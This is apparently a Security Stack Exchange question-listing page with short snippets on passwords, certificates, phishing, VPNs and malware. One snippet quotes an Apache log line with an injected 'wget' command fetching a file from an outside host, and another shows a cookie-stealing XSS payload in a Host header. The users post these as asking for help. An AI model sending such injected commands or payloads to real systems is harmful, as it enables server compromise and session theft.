3
votes
0answers
4 views

Is JavaScript malware too dangerous?

I am new to this website, I want to ask if JavaScript malware could be as dangerous and effective as usual viruses that damage the computers and are programmed mostly in native APIs. Do not hesitate ...
0
votes
0answers
4 views

A folder lock/encryption program that can do this?

I am looking for a program that can lock or encrypt folder, but in case if my laptop is stolen and C drive is reformatted and reinstalled, and i have locked folders on D drive, these folders to remain ...
2
votes
0answers
7 views

Security concept for Android app with PHP based REST API

I'm trying to build my own PHP based REST Api for my Android app and I'm a litte bit confused by all the different user authentication stuff one can find on the internet. So I want to present my ...
0
votes
3answers
38 views

Does it take longer to brute force a password starting with z than one starting with a?

I was wondering about the following: If someone tries to get my password with Brute Force, will a password starting with "a" guessed faster than one starting with "z" ? In this case assume the ...
-1
votes
0answers
14 views

system Idle process in windows

Idle process in windows 7 which runs in service session ( session 0) don't know why has one thread 0 handles on single core cpu but on inspection i came to know that it has no image on the system so ...
0
votes
1answer
15 views

IT support and security concerns regarding local VM's

I started working at a large financial institution several weeks ago as a software engineer and despite every other aspect of this job being great, I am haunted by the constant restrictions that ...
4
votes
0answers
30 views

How can we revoke all ssl certificates issued for our domain?

After having the hostmaster@domain.com email compromised, we found that someone issued a Domain Validated SSL certificate for our domain. Now we want to have all such certificates revoked. Is there ...
5
votes
0answers
21 views

4 bytes authentication problem

I have a classic security problem where Alice needs to prove its identity to Bob but with quite unusual requirements and constraints. The communication channel used between Alice and Bob has the ...
1
vote
1answer
18 views

Scan interpreted code for long lines to detect code injection?

As http://security.stackexchange.com/a/11935/35886 states: the best protection against code injection is to prevent it but often you see posts on SO or here that goes like I found "long line of ...
0
votes
0answers
11 views

Is 1Password backwards compatible? [on hold]

I recently got a trial of 1password version 4, not knowing it was a trial. I do not have the means to fully purchase it, however I do have a version of 1Password version 1 that I got from a previous ...
10
votes
2answers
697 views

Does clicking lead to DoS attack?

I have a website. Suppose someone will code a program that will click continuously on the links of my webpage: could this lead to a DoS attack ?
7
votes
1answer
343 views

Could a malicious JS file pointed on URL/URI attack the browser/computer?

I found some website blacklisted on Google. I mean when you try to visit them, you get something like shown on this picture: After a small search, I found that some of them have a malicious .js file ...
2
votes
2answers
54 views

What are the (practical) dangers of writing your own login method?

I have always been told that writing your own login method (e.g. validate user given the username and password) is bad practice, and that one should reuse existing libraries for that. I have always ...
0
votes
0answers
12 views

Does glibc uses canary checking to prevent heap buffer overflow?

Since canary is used by gcc to prevent stack overflow (e.g. -fstack-protector), I am wondering whether glibc uses canary-based approach to defend heap buffer overflow? For example, this paper proposes ...
0
votes
0answers
47 views

security in banking app with 4 digit pin code and social security number

The new banking app (for norwegian bank Gjensidige bank) for my android handset allows me to log in using only my social security number, and a 4 digit pin code. The social security number in norway ...
2
votes
0answers
92 views

Is this Facebook email real or phishing?

I received this email from what is supposedly Facebook today. Here's a screenshot: I was not aware I had credits or credits existed on Facebook and apparently I have $2.30 worth. It looks legitimate ...
4
votes
3answers
412 views

Apache logs, suspicious logging apach0day

today I received this 16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day" so with ...
2
votes
2answers
42 views

Security risk stemming from data passed in $_GET superglobal

This is a short but general question. I am relatively new to programming in general. My site,w which is predominately written in PHP, will be launched soon and is undergoing some security tightening. ...
0
votes
1answer
41 views

Password Cracking Mandarin Words English Character Set

I'll be looking to perform a domain password audit in which the user will be using english characters but may be 40% Mandarin speakers so I anticipate a large number of names, phrases, or words that ...
1
vote
0answers
28 views

Find the location of a hidden host

I'm doing a penetration test for a client who wants me to try and target a specific server. I have managed to get credentials(hard-coded in an in-house app) to a limited account on this server that ...
0
votes
1answer
25 views

XTS vs AES-CBC with ESSIV for file-based filesystem encryption

In a blog post I recently read called "You Don't Want XTS," the author explains some of the pitfalls of using XTS to encrypt filesystems. Specifically, he recommends against ever sharing encrypted ...
2
votes
1answer
121 views

PDF.zip file password forgotten and need to reset [duplicate]

I have an old PDF.zip file that is password secured. Naturally I can't remember it. Is there a way to change it or disable it?
2
votes
1answer
96 views

TLS WG Charter and Security Goals

I was looking at the TLS Working Group Charter. I noticed that confidentiality and integrity of messages for those who desire it are not goals for the group. Naively, I believe confidentiality and ...
0
votes
0answers
30 views

is computrace a permanent backdoor?

I was reading about CompuTrace and this thing is pretty much a backdoor and irremovable. It's in the firmware, in the BIOS and survives formatting and even hard drive change and OS reinstalls. Some ...
11
votes
8answers
1k views

Are antiviruses still useful? [duplicate]

Are anti-viruses useful nowadays ? Given the number of viruses that are developed and spread monthly, and given the fact anti-viruses are based on virus signatures, I wonder how much it is useful and ...
0
votes
2answers
64 views

need network level security alternatives to a VPN

We have a set of servers hosted at a tier-1 provider, and they are currently behind a VPN running on a gateway machine and not accessible to the open internet. Due to VPN instability issues we've ...
1
vote
1answer
135 views

Browsec - VPN and anonymizer

According to Browsec's website this application can be used to Bypass firewalls. So in countries like Iran it seems a useful tool to bypass censorship and filtering. For start using this application ...
0
votes
0answers
39 views

How to stop auto-created files to happen?

I'm new to "Information Security" so I hope I'm in the right place. I'm experimenting a very disapointing problem on my hosting server: some files are automaticaly created and I don't know how. The ...
5
votes
1answer
44 views

Virtual Desktop & Virtual Machine

What is the difference between virtual machine and virtual desktop? KOMODO Internet Security, for example, offers virtual desktop, and there's a stealth program there. If software sends the same ...
4
votes
1answer
88 views

Drive-by download attacks: What can cause the file to be downloaded without interaction? [on hold]

To trigger a drive-by download attack, this article states that a second method exists: The second takes advantage of the natural design of your web browser to display web page content. If that ...
7
votes
4answers
84 views

DNS spoofing of linux distribution repositories

Question(s) Is it possible to "redirect" linux-update-repos via DNS spoofing (e.g. DNS cache poisoning) to a malicious website, so that harmful software (updates) will be installed, when running the ...
22
votes
2answers
2k views

Break the popularity contest crypto

There is a very interesting puzzle on the Programming Puzzles and Code Golf site to Rearrange pixels in an image so it can't be recognized and then get it back. I understand that this is not ...
1
vote
1answer
59 views

How to trace AD Admin Login

How to trace an admin login to active directory server (2008 R2) from which host or which ip (In the situation where multiple admin are working) ?
2
votes
3answers
54 views

VPS Privacy: OpenVZ vs KVM vs Xen

Considering OpenVZ, KVM and Xen: Which VM technology is the most difficult for the host's administrators to access given an encrypted root partition? Can I have a reasonable expectation that rogue ...
0
votes
1answer
34 views

How can I generate some public and private keys on both sides with low overhead?

We have an Authority Center (CA) generating some public and private keys for each client (more than one pair for each client). One method for sending keys to client is sharing a secret key between CA ...
1
vote
1answer
71 views

XSS in HOST header

I'm able to inject JavaScript payload in HOST header, a request will look like: Host: <script>alert(document.cookie)</script> User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/29.0 Cookie ...
4
votes
1answer
40 views

Principles of memory forensics tools

I am currently writing a thesis about digital forensics which includes a chapter about memory forensics. Besides the tools and the methods of acquiring various data with them, I am kind of desperate ...
0
votes
0answers
15 views

OAuth2 - Resource Owner Password Credentials grant

The OAuth2 spec describes the Resource Owner Password Credentials grant type and authorisation flow here. I understand that only 'trusted' client applications would be allowed to use this grant, for ...
-1
votes
1answer
26 views

privacy internet search engine (Google front ends) [on hold]

What do you do to protect your privacy searching the internet? I know of Startpage and Disconnect Search. Startpage is very well integrated in Firefox, that what I use. What do you think about it? ...
0
votes
2answers
44 views

How exactly does this Flash malware function on Ubuntu?

In this video, an experienced Ubuntu user manages to infect his system with some sort of malware. This is the first example I've ever seen of truly successful malware in the wild aside from privilege ...
-1
votes
0answers
15 views

Gplusdata stores google plus information [on hold]

This website stores the information of google plus accounts. I removed my google plus account, yet my information and photo are in this website. First of all, how did they manage to get their hands ...
2
votes
2answers
51 views

Related-password hash security

Say we are given a strong cryptographic hash function hash(), a strong completely random password of 15 characters pass15, two single-character salt values salta, saltb. We compute the hashes hasha, ...
0
votes
0answers
20 views

Secure access of web application on a newly created AWS instance using the associated keypair

I create an AWS instance using a private AMI (Linux) with an embedded web application (Jetty) which is activated on instance start. As soon as the instance is launched first time, I want the ...
-6
votes
0answers
44 views

All about executing Dlls and malicious dll

I was trying to execute kernel32.dll with rundll32.exe. I set the dll path to system32 but I couldn't do it. How can I do it. What is a malicious DLL. How do I create one How do I get linked with ...
0
votes
0answers
12 views

Multi sub-domain login for content, spring security for main

Illustration : mainsite.com and contentsite.com both are being developed for same company by two teams. we will have login etc at mainsite.com contentsite.com will have some content that is not ...
0
votes
2answers
78 views

connecting a secure computer directly to the internet without a router

If you have a fairly secure computer how dangerous is it to connect to a modem directly without a router in between. Let's say the computer is running Debian as a host and Whonix in VirtualBox, a VPN ...
0
votes
2answers
76 views

How to ensure that only my single page app can make requests to an API

I have a REST API that can potentially serve multiple web clients. I want to ensure that only my single page app on my-one-and-only-web-cleint.com can make requests to my API. How do I do this? ...
0
votes
1answer
27 views

Flash Objects SWF security (ExternalInterface.call)

I am performing a penetration test against a website that uses Flash. I found this piece of code: url = ExternalInterface.call("window.document.location.href.toString") as String; How it can be ...
0
votes
3answers
86 views

Can a PDF file contain a virus?

Could a PDF file contain any type of malwares ?
0
votes
0answers
22 views

What Does Putting Each Subscriber of ISP in One Subnet of His Own Mean?

I've noticed that I used to be assigned an external IPv4 from my ISP and a 24 bit mask (255.255.255.0), then it changed to 255.255.255.255, today I was studying IPv4 subnetting and I understand that ...

15 30 50 per page